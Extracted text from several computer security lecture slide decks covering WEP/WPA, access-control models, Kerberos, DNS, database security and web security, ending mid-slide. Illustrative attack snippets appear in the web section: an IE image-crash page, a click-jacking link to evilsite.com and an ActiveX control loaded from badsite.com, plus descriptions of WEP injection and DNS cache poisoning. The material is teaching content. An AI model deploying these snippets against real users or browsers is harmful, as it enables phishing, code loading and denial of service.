Special wireless card driver is necessary to perform injection

11/1/2010

Wireless Networks

18

Hacker

WEP-protected WLAN

Initialization vector (IV)

One for each packet, a 24-bit value

Sent in the cleartext part of the message!

Small space of initialization vectors guarantees reuse of the same key stream

IV Collision:

Attack the XOR of the two plaintext messages

IV is often very predictable and introduces a lot of redundancy

11/1/2010

Wireless Networks

19

Injection Method

Suppose attacker knows one plaintext for one encrypted message, X

RC4(X)  X  Y = RC4(Y)

constructing a new message calculating the CRC32

Even without a complete knowledge of the packet, it is possible to flip selected bits in a message and successfully adjust the encrypted CRC

We know ARP, reinject it:

ARP will normally rebroadcast and generate IVs

11/1/2010

Wireless Networks

20

Wi-Fi Protected Access (WPA)

WEP became widely known as insecure

In 2005, FBI publically cracked a WEP key in only 3 minutes!

Wi-Fi Protected Access (WPA) proposed in 2003

Improves on WEP in several ways:

Larger secret key (128 bits) and initialization data (48 bits)

Supports various types of authentication besides a shared secret, such as username/password

Dynamically changes keys as session continues

Cryptographic method to check integrity

Frame counter to prevent replay attacks

11/1/2010

Wireless Networks

22

WPA2

WPA was an intermediate stepping-stone

Final version: IEEE 802.11i, aka WPA2

Improvements over WPA are incremental rather than changes in philosophy:

Uses AES instead of RC4

Handles encryption, key management, and integrity

MAC provided by Counter Mode with Cipher Block Chaining (CCMP) used in conjunction with AES

WPA2 needs recent hardware to operate properly, but this will get better over time

11/1/2010

Wireless Networks

23

WPA2 Encryption

Counter Mode with Cipher Block Chaining Message Authentication Code Protocol

Compute a 64-bit message integrity code (MIC) on the plaintext header and the payload using the Michael algorithm

Encrypt the payload and MIC

Michael is not a strong cryptographic hash function

11/1/2010

Wireless Networks

24

Header

Payload

MIC

Encrypted

Authenticated

Alternatives and Add-Ons

WEP, WPA, and WPA2 all protect your traffic only up to the access point

No security provided beyond access point

Other methods can encrypt end-to-end:

SSL, SSH, VPN, PGP, and so on

End-to-end encryption is often simpler than setting up network-level encryption

Most of these solutions require per-application configuration

11/1/2010

Wireless Networks

25

Ch09-Models.pptx

Policy, Models, and Trust

1

Security Policy

A security policy is a well-defined set of rules that include the following:

Subjects: the agents who interact with the system, which could be defined in terms of specific individuals or in terms of roles or ranks that groups of individuals might hold within an organization.

Individuals could be identified by their names or by their job titles, like President, CEO, or CFO. Groups could be defined using terms such as users, administrators, generals, majors, faculty, deans, managers, and administrative assistants. This category also includes outsiders, such as attackers and guests.

Objects: the informational and computational resources that a security policy is designed to protect and manage.

Examples include critical documents, files, and databases, and computational resources include servers, workstations, and software.

Actions: the things that subjects may or may not do with respect to the objects.

Examples include the reading and writing of documents, updating software on a web server, and accessing the contents of a database.

Permissions: mappings between subjects, actions, and objects, which clearly state what kinds of actions are allowed or disallowed.

Protections: the specific security features or rules that are included in the policy to help achieve particular security goals, such as confidentiality, integrity, availability, or anonymity.

2

Security Models

A security model is an abstraction that provides a conceptual language for administrators to specify security policies.

Typically, security models define hierarchies of access or modification rights that members of an organization can have, so that subjects in an organization can easily be granted specific rights based on the position of these rights in the hierarchy.

Examples include military classifications of access rights for documents based on concepts like “unclassified,” “confidential,” “secret,” and “top secret.”

3

U.S. government image in the public domain.

Discretionary Access Control

Discretionary access control, or DAC, refers to a scheme where users are given the ability to determine the permissions governing access to their own files.

DAC typically features the concept of both users and groups, and allows users to set access-control measures in terms of these categories.

In addition, DAC schemes allow users to grant privileges on resources to other users on the same system.

4

Mandatory Access Control

Mandatory access control is a more restrictive scheme that does not allow users to define permissions on files, regardless of ownership. Instead, security decisions are made by a central policy administrator.

Each security rule consists of a subject, which represents the party attempting to gain access, an object, referring to the resource being accessed, and a series of permissions that define the extent to which that resource can be accessed.

Security-Enhanced Linux (SELinux) incorporates mandatory access control.

5

Trust Management

A trust management system is a formal framework for specifying security policy in a precise language, which is usually a type of logic or programming language, together with a mechanism for ensuring that the specified policy is enforced.

A trust management system consists of two main components:

a policy language

a compliance checker

Policy rules are specified in the policy language and are enforced by the compliance checker.

6

Trust Management Systems

A trust management system typically has rules describing:

Actions: operations with security-related consequences on the system

Principals: users, processes, or other entities that can perform actions on the system

Policies: precisely written rules that govern which principals are authorized to perform which actions

Credentials: digitally signed documents that bind principal identities to allowable actions, including the authority to allow principals to delegate authority to other principals.

7

Access Control Models

Various models have been developed to formalize mechanisms to protect the confidentiality and integrity of documents stored in a computer system.

The Bell-La Padula (BLP) model

The Biba model

The Low-Watermark model

The Clark-Wilson model

The Chinese Wall model (The Brewer and Nash model)

8

The Bell-La Padula Model

The Bell-La Padula (BLP) model is a classic mandatory access-control model for protecting confidentiality.

The BLP model is derived from the military multilevel security paradigm, which has been traditionally used in military organizations for document classification and personnel clearance.

9

The Bell-La Padula Model

The BLP model has a strict, linear ordering on the security of levels of documents, so that each document has a specific security level in this ordering and each user is assigned a strict level of access that allows them to view all documents with the corresponding level of security or below.

10

Total Orders and Partial Orders

A linear ordering for documents can be defined in terms of a comparison rule, . We say that such a rule defines a total order on a universe set, U, if it satisfies the following properties:

Reflexivity: If x is in U, then x < x.

Antisymmetry: If x < y and y < x, then x = y.

Transitivity: If x < y and y < z, then x < z.

Totality: If x and y are in U, then x < y or y < x.

All of the usual definitions of “less than or equal to” for numbers, such as integers and real numbers, are total orders.

If we drop the requirement of totality, we get a partial order.

The classic example of a partial order is the set of courses taught at a college or university, where we say that, for two courses A and B, A < B, if A is a prerequisite for B.

11

How the BLP Model Works

The security levels in BLP form a partial order, <.

Each object, x, is assigned to a security level, L(x). Similarly, each user, u, is assigned to a security level, L(u). Access to objects by users is controlled by the following two rules:

Simple security property. A user u can read an object x only if

L(x) < L(u).

*-property. A user u can write (create, edit, or append to) an object x only if

L(u) < L(x).

The simple security property is also called the “no read up” rule, as it prevents users from viewing objects with security levels higher than their own.

The *-property is also called the “no write down” rule. It is meant to prevent propagation of information to users with a lower security level.

12

Defining Security Levels Using Categories

13

The Biba Model

The Biba model has a similar structure to the BLP model, but it addresses integrity rather than confidentiality.

Objects and users are assigned integrity levels that form a partial order, similar to the BLP model.

The integrity levels in the Biba model indicate degrees of trustworthiness, or accuracy, for objects and users, rather than levels for determining confidentiality.

For example, a file stored on a machine in a closely monitored data center would be assigned a higher integrity level than a file stored on a laptop.

In general, a data-center computer is less likely to be compromised than a random laptop computer. Likewise, when it comes to users, a senior employee with years of experience would have a higher integrity level than an intern.

14

The Biba Model Rules

The access-control rules for Biba are the reverse of those for BLP. That is, Biba does not allow reading from lower levels and writing to upper levels.

If we let I(u) denote the integrity level of a user u and I(x) denote the integrity level for an object, x, we have the following rules in the Biba model:

A user u can read an object x only if

I(u) < I(x).

A user u can write (create, edit or append to) an object x only if

I(x) < I(u).

Thus, the Biba rules express the principle that information can only flow down, going from higher integrity levels to lower integrity levels.

15

The Low-Watermark Model

The low-watermark model is an extension to the Biba model that relaxes the “no read down” restriction, but is otherwise similar to the Biba model.

In other words, users with higher integrity levels can read objects with lower integrity levels.

After such a reading, the user performing the reading is demoted such that his integrity level matches that of the read object.

16

The Clark-Wilson Model

Rather than dealing with document confidentiality and/or integrity, the Clark-Wilson (CW) model deals with systems that perform transactions.

It describes mechanisms for assuring that the integrity of such a system is preserved across the execution of a transaction. Key components of the CW model include the following:

Integrity constraints that express relationships among objects that must be satisfied for the system state to be valid. A classic example of an integrity constraint is the relationship stating that the final balance of a bank account after a withdrawal transaction must be equal to the initial balance minus the amount withdrawn.

Certification methods that verify that transactions meet given integrity constraints. Once the program for a transaction is certified, the integrity constraints do not need to be verified at each execution of the transaction.

Separation of duty rules that prevent a user that executes transaction from certifying it. In general, each transaction is assigned disjoint sets of users that can certify and execute it, respectively.

17

The Chinese Wall Model

The Brewer and Nash model, commonly referred to as the Chinese wall model, is designed for use in the commercial sector to eliminate the possibility of conflicts of interest.

To achieve this, the model groups resources into “conflict of interest classes.”

The model enforces the restriction that each user can only access one resource from each conflict of interest class.

In the financial world, such a model might be used, for instance, to prevent market analysts from receiving insider information from one company and using that information to provide advice to that company’s competitor.

Such a policy might be implemented on computer systems to regulate users’ access to sensitive or proprietary data.

18

Role-Based Access Control

The role-based access control (RBAC) model can be viewed as an evolution of the notion of group-based permissions in file systems.

An RBAC system is defined with respect to an organization, such as company, a set of resources, such as documents, print services, and network services, and a set of users, such as employees, suppliers, and customers.

19

U.S. Navy image in the public domain.

RBAC Components

A user is an entity that wishes to access resources of the organization to perform a task. Usually, users are actual human users, but a user can also be a machine or application.

A role is defined as a collection of users with similar functions and responsibilities in the organization. Examples of roles in a university may include “student,” “alum,” “faculty,” “dean,” “staff,” and “contractor.” In general, a user may have multiple roles.

Roles and their functions are often specified in the written documents of the organization.

The assignment of users to roles follows resolutions by the organization, such as employment actions (e.g., hiring and resignation) and academic actions (e.g., admission and graduation).

A permission describes an allowed method of access to a resource.

More specifically, a permission consists of an operation performed on an object, such as “read a file” or “open a network connection.” Each role has an associated set of permissions.

A session consists of the activation of a subset of the roles of a user for the purpose of performing a certain task.

For example, a laptop user may create a session with the administrator role to install a new program.

Sessions support the principle of least privilege.

20

Hierarchical RBAC

In the role-based access control model, roles can be structured in a hierarchy similar to an organization chart.

More formally, we define a partial order among roles by saying that a role R1 inherits role R2, which is denoted

R1 > R2,

if R1 includes all permissions of R2 and R2 includes all users of R1.

When R1 > R2, we also say that role R1 is senior to role R2 and that role R2 is junior to role R1.

For example, in a company, the role “manager” inherits the role “employee” and the role “vice president” inherits the role “manager.”

Also, in a university, the roles “undergraduate student” and “graduate student” inherit the role “student.”

21

Visualizing Role Hierarchy

22

Ch09-Kerberos.pptx

Kerberos

1

Public domain image of Heracles and Cerberus. From an Attic bilingual amphora, 530–520 BC. From Italy (?).

Kerberos

Kerberos is an authentication protocol and a software suite implementing this protocol.

Kerberos uses symmetric cryptography to authenticate clients to services and vice versa.

For example, Windows servers use Kerberos as the primary authentication mechanism, working in conjunction with Active Directory to maintain centralized user information.

Other possible uses of Kerberos include allowing users to log into other machines in a local-area network, authentication for web services, authenticating email client and servers, and authenticating the use of devices such as printers.

Services using Kerberos authentication are commonly referred to as “Kerberized”.

2

Kerberos Tickets

Kerberos uses the concept of a ticket as a token that proves the identity of a user.

Tickets are digital documents that store session keys. They are typically issued during a login session and then can be used instead of passwords for any Kerberized services. During the course of authentication, a client receives two tickets:

A ticket-granting ticket (TGT), which acts as a global identifier for a user and a session key

A service ticket, which authenticates a user to a particular service

These tickets include time stamps that indicate an expiration time after which they become invalid. This expiration time can be set by Kerberos administrators depending on the service.

3

Kerberos Servers

To accomplish secure authentication, Kerberos uses a trusted third party known as a key distribution center (KDC), which is composed of two components, typically integrated into a single server:

An authentication server (AS), which performs user authentication

A ticket-granting server (TGS), which grants tickets to users

The authentication server keeps a database storing the secret keys of the users and services. The secret key of a user is typically generated by performing a one-way hash of the user-provided password. Kerberos is designed to be modular, so that it can be used with a number of encryption protocols, with AES being the default cryptosystem.

Kerberos aims to centralize authentication for an entire network—rather than storing sensitive authentication information at each user’s machine, this data is only maintained in one presumably secure location.

4

Kerberos Authentication

The client and authentication server authenticate themselves to each other.

The client and ticket-granting server authenticate themselves to each other.

The client and requested service authenticate themselves to each other, at which point the service will be provided to the client.

5

Authentication Details

6

Authentication Details

7

Authentication Details

8

Kerberos Advantages

The Kerberos protocol is designed to be secure even when performed over an insecure network.

Since each transmission is encrypted using an appropriate secret key, an attacker cannot forge a valid ticket to gain unauthorized access to a service without compromising an encryption key or breaking the underlying encryption algorithm, which is assumed to be secure.

Kerberos is also designed to protect against replay attacks, where an attacker eavesdrops legitimate Kerberos communications and retransmits messages from an authenticated party to perform unauthorized actions.

The inclusion of time stamps in Kerberos messages restricts the window in which an attacker can retransmit messages.

Tickets may contain the IP addresses associated with the authenticated party to prevent replaying messages from a different IP address.

Kerberized services make use of a “replay cache,” which stores previous authentication tokens and detects their reuse.

Kerberos makes use of symmetric encryption instead of public-key encryption, which makes Kerberos computationally efficient

The availability of an open-source implementation has facilitated the adoption of Kerberos.

9

Kerberos Disadvantages

Kerberos has a single point of failure: if the Key Distribution Center becomes unavailable, the authentication scheme for an entire network may cease to function.

Larger networks sometimes prevent such a scenario by having multiple KDCs, or having backup KDCs available in case of emergency.

If an attacker compromises the KDC, the authentication information of every client and server on the network would be revealed.

Kerberos requires that all participating parties have synchronized clocks, since time stamps are used.

10

Ch06-NetworksDNS.pptx

Computer Networks:

Domain Name System

1

1

Domain Name System

The domain name system (DNS) is an application-layer protocol for mapping domain names to IP addresses

Vacation

Savings

DNS

http://208.77.188.166

My Example Blog Spot

http://www.example.com

My Example Blog Spot

Vacation

Savings

www.example.com

208.77.188.166

2

2

2

Domain Name System

DNS provides a distributed database over the internet that stores various resource records, including:

Address (A) record: IP address associated with a host name

Mail exchange(MX) record: mail server of a domain

Name server (NS) record: authoritative server for a domain

Example DNS entries from http://www.maradns.org/tutorial/recordtypes.html

3

3

3

Name Servers

Domain names:

Two or more labels, separated by dots (e.g., cs166.net)

Rightmost label is the top-level domain (TLD)

Hierarchy of authoritative name servers

Information about root domain

Information about its subdomains (A records) or references to other name servers (NS records)

The authoritative name server hierarchy matches the domain hierarchy: root servers point to DNS servers for TLDs, etc.

Root servers, and servers for TLDs change infrequently

DNS servers refer to other DNS servers by name, not by IP: sometimes must bootstrap by providing an IP along with a name, called a glue record

4

DNS Tree

com

edu

brown.edu

cs.brown.edu

A brown.edu 128.148.128.180

A xxx.brown.edu 128.148.###.###

A xxx.brown.edu 128.148.###.###

A xxx.brown.edu 128.148.###.###

A xxx.brown.edu 128.148.###.###

A xxx.brown.edu 128.148.###.###

A xxx.brown.edu 128.148.###.###

A xxx.brown.edu 128.148.###.###

A xxx.brown.edu 128.148.###.###

A xxx.brown.edu 128.148.###.###

A xxx.brown.edu 128.148.###.###

A xxx.brown.edu 128.148.###.###

A xxx.brown.edu 128.148.###.###

A xxx.brown.edu 128.148.###.###

A xxx.brown.edu 128.148.###.###

A cs.brown.edu 128.148.32.110

A xxx.brown.edu 128.148.32.###

A xxx.brown.edu 128.148.32.###

A xxx.brown.edu 128.148.32.###

A xxx.brown.edu 128.148.32.###

A xxx.brown.edu 128.148.32.###

A xxx.brown.edu 128.148.32.###

A xxx.brown.edu 128.148.32.###

A xxx.brown.edu 128.148.32.###

A xxx.brown.edu 128.148.32.###

A google.com 66.249.91.104

A xxx.google.com ###########

A xxx.google.com ###########

A xxx.google.com ###########

A xxx.google.com ###########

A xxx.google.com ###########

A xxx.google.com ###########

A xxx.google.com ###########

A xxx.google.com ###########

A xxx.google.com ###########

A xxx.google.com ###########

A xxx.google.com ###########

A xxx.google.com ###########

A xxx.google.com ###########

google.com

stanford.edu

microsoft.com

resource records

...

...

...

A xxx.com ###########

A xxx.com ###########

A xxx.com ###########

A xxx.com ###########

A xxx.com ###########

A xxx.com ###########

A xxx.com ###########

A xxx.com ###########

A xxx.com ###########

A xxx.com ###########

A xxx.com ###########

A xxx.com ###########

A xxx.com ###########

A xxx.com ###########

A xxx.com ###########

A xxx.com ###########

A xxx.com ###########

A xxx.edu ###########

A xxx.edu ###########

A xxx.edu ###########

A xxx.edu ###########

A xxx.edu ###########

A xxx.edu ###########

A xxx.edu ###########

A xxx.edu ###########

A xxx.edu ###########

A xxx.edu ###########

A xxx.edu ###########

A xxx.edu ###########

A xxx.edu ###########

A xxx.edu ###########

Amicrosoft.com 207.46.232.182

A xxx.microsoft.com ###########

A xxx.microsoft.com ###########

A xxx.microsoft.com ###########

A xxx.microsoft.com ###########

A xxx.microsoft.com ###########

A xxx.microsoft.com ###########

A xxx.microsoft.com ###########

A xxx.microsoft.com ###########

A xxx.microsoft.com ###########

A xxx.microsoft.com ###########

A xxx.microsoft.com ###########

A xxx.microsoft.com ###########

A xxx.microsoft.com ###########

A xxx.microsoft.com ###########

A xxx.microsoft.com ###########

A stanford.edu 171.67.216.18

A xxx.stanford.edu 171.67.###.###

A xxx.stanford.edu 171.67.###.###

A xxx.stanford.edu 171.67.###.###

A xxx.stanford.edu 171.67.###.###

A xxx.stanford.edu 171.67.###.###

A xxx.stanford.edu 171.67.###.###

A xxx.stanford.edu 171.67.###.###

A xxx.stanford.edu 171.67.###.###

A xxx.stanford.edu 171.67.###.###

A xxx.stanford.edu 171.67.###.###

A xxx.stanford.edu 171.67.###.###

A xxx.stanford.edu 171.67.###.###

A xxx.stanford.edu 171.67.###.###

5

Namespace Management

ICANN: Internet Corporation for Assigned Names and Numbers

ICANN has the overall responsibility for managing DNS. It controls the root domain, delegating control over each top-level domain to a domain name registry

Along with a small set of general TLDs, every country has its own TLD -- (cTLDS) – controlled by the government.

ICANN is the governing body for all general TLDs

Until 1999 all .com, .net and .org registries were handled by Network Solutions Incorporated.

After November, 1999, ICANN and NSI had to allow for a shared registration system and there are currently over 500 registrars in the market

Also since 1999, ICANN has created additional gTLDs including some which are sponsored by consortiums or groups of companies.

6

6

6

Top Level Domains

Started in 1984

Originally supposed to be named by function

.com for commercial websites, .mil for military

Eventually agreed upon unrestricted TLDs for .com, .net, .org, .info

In 1994 started allowing country TLDs such as .it, .us

Tried to move back to hierarchy of purpose in 2000 with creation of .aero, .museum, etc.

7

Name Resolution

Zone: collection of connected nodes with the same authoritative DNS server

Resolution method when answer not in cache:

Where is www.example.com?

Where is www.example.com?

Try com nameserver

Where is www.example.com?

Try example.com nameserver

Where is www.example.com?

208.77.188.166

208.77.188.166

Client

ISP DNS

Server

root

name server

com

name server

example.com

name server

8

Recursive Name Resolution

Local Machine

Application

Resolver

cache

Server A

Resolver

cache

Server B

Resolver

cache

query

answer

referral

answer

query

9

Iterative Name Resolution

Local Name Server

Application

Resolver

cache

google.com

Resolver

cache

.com

Resolver

cache

query

answer

answer

query

. (root)

Resolver

cache

1

2

3

query

answer

10

Authoritative Name Servers

Control distributed among authoritative name servers (ANSs)

Responsible for specific domains

Can designate other ANS for subdomains

ANS can be master or slave

Master contains original zone table

Slaves are replicas, automatically updating

Makes DNS fault tolerant, automatically distributes load

ANS must be installed as a NS in parents' zone

11

Dynamic Resolution

Many large providers have more than one authoritative name server for a domain

Problem: need to locate the instance of domain geographically closest to user

Proposed solution: include first 3 octets of requester's IP in recursive requests to allow better service

Content distribution networks already do adaptive DNS routing

12

DNS Caching

There would be too much network traffic if a path in the DNS tree would be traversed for each query

Root zone would be rapidly overloaded

DNS servers cache results for a specified amount of time

Specified by ANS reply's time-to-live field

Operating systems and browsers also maintain resolvers and DNS caches

View in Windows with command ipconfig /displaydns

Associated privacy issues

DNS queries are typically issued over UDP on port 53

16-bit request identifier in payload

13

DNS Caching

Step 1: query yourdomain.org

Local Machine

Application

Resolver

cache

Local NS

Resolver

cache

Authoritative

Name Server

Step 2: receive reply and cache at local NS and host

Local Machine

Application

Resolver

cache

Local NS

Resolver

cache

Authoritative

Name Server

query

query

answer

answer

14

DNS Caching (con'd)

Step 3: use cached results rather than querying the ANS

Local Machine 1

Application

Resolver

cache

Local NS

Resolver

cache

Local Machine 2

Application

Resolver

cache

Step 4: Evict cache entries upon ttl expiration

query

answer

15

Pharming: DNS Hijacking

Changing IP associated with a server maliciously:

http://www.example.com

My Premium Blog Spot

userID:

password:

http://www.example.com

My Premium Blog Spot

www.example.com

Normal

DNS

74.208.31.63

www.example.com

Pharming

attack

Phishing: the different web sites look the same.

userID:

password:

208.77.188.166

16

DNS Cache Poisoning

Basic idea: give DNS servers false records and get it cached

DNS uses a 16-bit request identifier to pair queries with answers

Cache may be poisoned when a name server:

Disregards identifiers

Has predictable ids

Accepts unsolicited DNS records

17

17

17

There are 3 main different ways to do DNS cache poisoning. The first relies on redirecting the nameserver of the attacker's domain to the nameserver of the target domain, and then assigning this target nameserver a fake IP address. The second variant relies on redirecting the nameserver of another, unrelated domain to a fake nameserver. The third variant just involves “racing” the real nameserver to give an answer.

DNS Cache Poisoning Prevention

Use random identifiers for queries

Always check identifiers

Port randomization for DNS requests

Deploy DNSSEC

Challenging because it is still being deployed and requires reciprocity

18

18

18

There are 3 main different ways to do DNS cache poisoning. The first relies on redirecting the nameserver of the attacker's domain to the nameserver of the target domain, and then assigning this target nameserver a fake IP address. The second variant relies on redirecting the nameserver of another, unrelated domain to a fake nameserver. The third variant just involves “racing” the real nameserver to give an answer.

DNSSEC

Guarantees:

Authenticity of DNS answer origin

Integrity of reply

Authenticity of denial of existence

Accomplishes this by signing DNS replies at each step of the way

Uses public-key cryptography to sign responses

Typically use trust anchors, entries in the OS to bootstrap the process

19

19

DNS Signing

20

20

DNSSEC Deployment

As the internet becomes regarded as critical infrastructure there is a push to secure DNS

NIST is in the process of deploying it on root servers now

May add considerable load to dns servers with packet sizes considerably larger than 512 byte size of UDP packets

There are political concerns with the US controlling the root level of DNS

21

Ch10-Database.pptx

Database Security

1

Public domain NASA image L-1957-00989 of people working with an IBM type 704 electronic data processing machine.

The Need for Database Security

Because databases play such an important role in storing large amounts of potentially valuable information, they are often the target of attacks by malicious parties seeking to gain access to this data; hence, we need good ways to secure them.

2

Tables and Queries

A very common way to store information is to use a relational database.

In this approach, information is organized into a collection of tables.

Each row of a table is a record that stores related information about some entity.

Each column is associated with an attribute that the entity can possess.

3

SQL Queries

Most databases use a language known as SQL (Structured Query Language) to support queries and updates, using commands that include the following:

SELECT: to express queries

INSERT: to create new records

UPDATE: to alter existing data

DELETE: to delete existing records

Conditional statements using WHERE, and basic Boolean operations such as AND and OR: to identify records based on certain conditions

UNION: to combine the results of multiple queries into a single result

These commands can be combined to produce queries that extract data, or updates that make changes to the database.

4

SQL Example

Suppose, for example, we were to issue the following query on the Presidents table:

SELECT * FROM Presidents WHERE Inaugural_Age < 50

This query is designed to find and return all the U.S. presidents who were younger than 50 when they were inaugurated. The star symbol (*) specifies to return all the attributes of the resulting records.

This query would return the following table:

5

Another SQL Example

More complex queries are also possible, such as one to find all U.S. presidents who were less than 50 when they took office and died during their first term:

SELECT * FROM Presidents WHERE (Inaugural_Age < 50)

AND (Age_at_Death - Inaugural_Age < 4.0)

This query would return the following set of records:

6

Database Deletions

In addition to queries that extract information from a database, authorized users can also update the contents of a database using SQL commands.

For example, the following update operation would delete all of those records from the Presidents table that correspond to U.S. presidents who were less than 50 years old when they were inaugurated:

DELETE FROM Presidents WHERE Inaugural_Age < 50

7

Database Insertions

In addition, the following update operation would add a new record to the Presidents table:

INSERT INTO Presidents

VALUES (45, 'Arnold Schwarzenegger', 65.5, NULL)

Database updates can be more fine-grained than just inserting and deleting entire records, however.

We can also alter the contents of individual attribute values in specific records.

8

Two-Phase Commit

To cope with consistency and reliability issues, most databases employ a protocol called two-phase commit for performing updates.

The first phase is a request phase, in which all the parts of the database that need to change as a result of this update are identified and flagged as being intended for this change. The result of this phase is either that it completes successfully, and every change requested is available and now flagged to be changed, or it aborts, because it couldn’t flag all the parts it wanted (say, because someone else already flagged it) or because of a network or system failure.

If the first phase aborts, then all its requested changes are reset, which is always possible, because no permanent changes have been made yet.

If the first phase completes successfully, then the protocol continues to the second phase.

The second phase is the commit phase, in which the database locks itself against other changes and performs the sequence of changes that were identified in the request phase.

If it completes successfully, then it clears all the flags identifying requested changes and it releases the lock on the database.

If, on the other hand, this operation fails, then it rolls back, that is, reverses, all the changes made back to the state the database was in just after completing the first phase.

This two-phase commit protocol is a feature that a database can use to help achieve both integrity and availability.

9

Database Access Control

A proper set of database access controls should implement a least-privilege principle, so that each user has the necessary rights to perform their required tasks, but no rights beyond that.

A proper set of database access controls should also implement a separation of privilege principle, so that different users have different privileges, depending on the different tasks that they need to perform.

10

Access Control Using SQL

SQL defines an access control framework that is commonly used for defining database privileges.

When a table is created, the owner of the table has the sole rights to perform operations on that table.

The owner can then grant privileges to other users, which is known as privilege delegation.

These privileges may be broad, such as the ability to do anything to a particular table, or fine-grained, such as the ability to perform only SELECT queries on certain columns.

For example, the owner of a table may issue the following SQL command to give Alice the ability to search through table employees:

GRANT SELECT ON employees TO Alice;

Other permissions that can be provided using the GRANT keyword include DELETE, INSERT, and UPDATE. In addition, to grant all available rights one can use the ALL keyword.

11

Privilege Delegation

In addition to being able to grant certain privileges to other users, table owners can also allow other users to grant privileges for those tables, which is known as policy authority delegation.

Specifically, when granting a privilege to a user as in the above examples, the grantor can include the clause WITH GRANT OPTION to give the recipient the ability to further delegate that privilege.

For example, an administrator might create a view for Alice and give her permission to delegate SELECT permissions on that view to other users as follows:

CREATE VIEW employees_alice AS

SELECT * FROM employees

WHERE name = `Alice';

GRANT SELECT ON employees_alice TO Alice WITH GRANT OPTION;

12

Privilege Revocation

The propagation of privileges in a database can be visualized using a diagram, where nodes represent users and directed edges represent granted privileges.

If Alice grants a set of rights, A, to Bob, then we draw a directed edge labeled with A from Alice to Bob.

A user, Alice, who has granted privileges to another, Bob, can opt to revoke those privileges at a later time, which would be visualized by deleting or relabeling the edge from Alice to Bob.

A command that could perform such a revocation is as follows:

REVOKE SELECT ON employees FROM Bob;

This command should result in the revocation of all SELECT privileges for Alice as well as all the people to which she had delegated this privilege.

13

Privilege Revocation Example

First, two administrators, Charles and Diane, each grant Alice two sets of privileges, C and D, after which Alice grants those privileges to Bob, giving him the set of rights in the union, C U D.

If Charles subsequently revokes the set of privileges, C, he granted to Alice, then the privileges Bob inherited indirectly from Charles, through Alice, should also be revoked, leaving Bob with just the privileges in D.

14

Sensitive Data

In addition to ensuring that databases have appropriate access-control measures in place, care must be taken to guarantee that sensitive data is stored in a way that protects the privacy of users and any confidentiality requirements for sensitive data.

15

Using Cryptography

If information being stored in a database has confidentiality requirements, then it should not be stored in plaintext, but should instead be stored as the output of a cryptographic function.

Confidential information kept in a database should be stored in encrypted form, where the decryption key should be known by authorized users but not stored in the database itself.

16

Privacy Protection

Besides measures designed to protect the confidentiality of sensitive user information, database owners should be careful to consider the privacy impacts of publishing or granting access to sensitive information.

If a database is to be released to the public, say, to be used for research purposes, then all identifying information, such as names, addresses, Social Security numbers, employee numbers, and student numbers, should be removed or changed to masking values, which are nondescript values that lack all identifying information.

17

Inference Attacks

Even if identifying information is removed or masked out, it may still be possible to use the database in conjunction with additional information available to the attacker to learn more about the underlying data.

This is referred to as an inference attack.

As an example, consider a database of employee records, whose attributes are name, gender, ID number, and salary.

Suppose a party is granted access to a sanitized version of the table, where the name attribute is removed, for the purpose of creating statistics on salary by gender. Another party may have a list of pairings associating ID numbers to names for a reporting task.

If these two parties were to communicate, they could easily infer the salary of each employee, despite the intent of the database owner. In general, when granting access to modified versions of a database, administrators should consider whether collusion among grantees can allow them to gain unauthorized information.

18

Protecting Against Inference Attacks

To protect a database from inference attacks, the following techniques can be used prior to making the database public.

Cell suppression. In using this technique, some of the cells in a database are removed and left blank in the published version.

Generalization. In using this technique, some values in a published database are replaced with more general values.

Noise addition. In using this technique, values in a published database have random values added to them, so that the noise across all records for the same attribute averages out to zero.

19

Example

20

Ch07-Web.pptx

Web Security

11/17/2010

1

Web Security

HTML

Hypertext markup language (HTML)

Describes the content and formatting of Web pages

Rendered within browser window

HTML features

Static document description language

Supports linking to other pages and embedding images by reference

User input sent to server via forms

HTML extensions

Additional media content (e.g., PDF, video) supported through plugins

Embedding programs in supported languages (e.g., JavaScript, Java) provides dynamic content that interacts with the user, modifies the browser user interface, and can access the client computer environment

11/17/2010

Web Security

2

Phishing

Forged web pages created to fraudulently acquire sensitive information

User typically solicited to access phished page from spam email

Most targeted sites

Financial services (e.g., Citibank)

Payment services (e.g., PayPal)

Auctions (e..g, eBay)

45K unique phishing sites detected monthly in 2009 [APWG Phishing Trends Reports]

Methods to avoid detection

Misspelled URL

URL obfuscation

Removed or forged address bar

11/17/2010

Web Security

3

Phishing Example

11/17/2010

Web Security

4

URL Obfuscation

Properties of page in previous slide

Actual URL different from spoofed URL displayed in address bar

URL escape character attack

Old versions of Internet Explorer did not display anything past the Esc or null character

Displayed vs. actual site http://trusted.com%01%[email protected]

Unicode attack

Domains names with Unicode characters can be registered

Identical, or very similar, graphic rendering for some characters

E.g., Cyrillic and Latin “a”

Phishing attack on paypal.com

Current version of browsers display Punycode, an ASCII-encoded version of Unicode: www.xn--pypal-4ve.com

11/17/2010

Web Security

5

IE Image Crash

Browser implementation bugs can lead to denial of service attacks

The classic image crash in Internet Explorer is a perfect example

By creating a simple image of extremely large proportions, one can crash Internet Explorer and sometimes freeze a Windows machine

<HTML>

<BODY>

<IMG SRC="./imagecrash.jpg" width="9999999" height="9999999"> </BODY>

</HTML>

Variations of the image crash attack still possible on the latest IE version

11/17/2010

Web Security

6

Mobile Code

What is mobile code?

Executable program

Sent via a computer network

Executed at the destination

Examples

JavaScript

ActiveX

Java Plugins

Integrated Java Virtual Machines

11/17/2010

Web Security

7

JavaScript

11/17/2010

Web Security

8

Scripting language interpreted by the browser

Code enclosed within <script> … </script> tags

Defining functions:

<script type="text/javascript">

function hello() { alert("Hello world!"); }

</script>

Event handlers embedded in HTML

<img src="picture.gif" onMouseOver="javascript:hello()">

Built-in functions can change content of window

window.open("http://brown.edu")

Click-jacking attack

<a onMouseUp="window.open(′http://www.evilsite.com′)"

href="http://www.trustedsite.com/">Trust me!</a>

ActiveX vs. Java

ActiveX Control

Windows-only technology runs in Internet Explorer

Binary code executed on behalf of browser

Can access user files

Support for signed code

An installed control can be run by any site (up to IE7)

IE configuration options

Allow, deny, prompt

Administrator approval

Java Applet

Platform-independent via browser plugin

Java code running within browser

Sandboxed execution

Support for signed code

Applet runs only on site where it is embedded

Applets deemed trusted by user can escape sandbox

11/17/2010

Web Security

9

Embedding an ActiveX Control

<HTML> <HEAD>

<TITLE> Draw a Square </TITLE>

</HEAD>

<BODY> Here is an example ActiveX reference:

<OBJECT

ID="Sample“

CODEBASE="http://www.badsite.com/controls/stop.ocx"

HEIGHT="101“

WIDTH="101“

CLASSID="clsid:0342D101-2EE9-1BAF-34565634EB71" >

<PARAM NAME="Version" VALUE=45445">

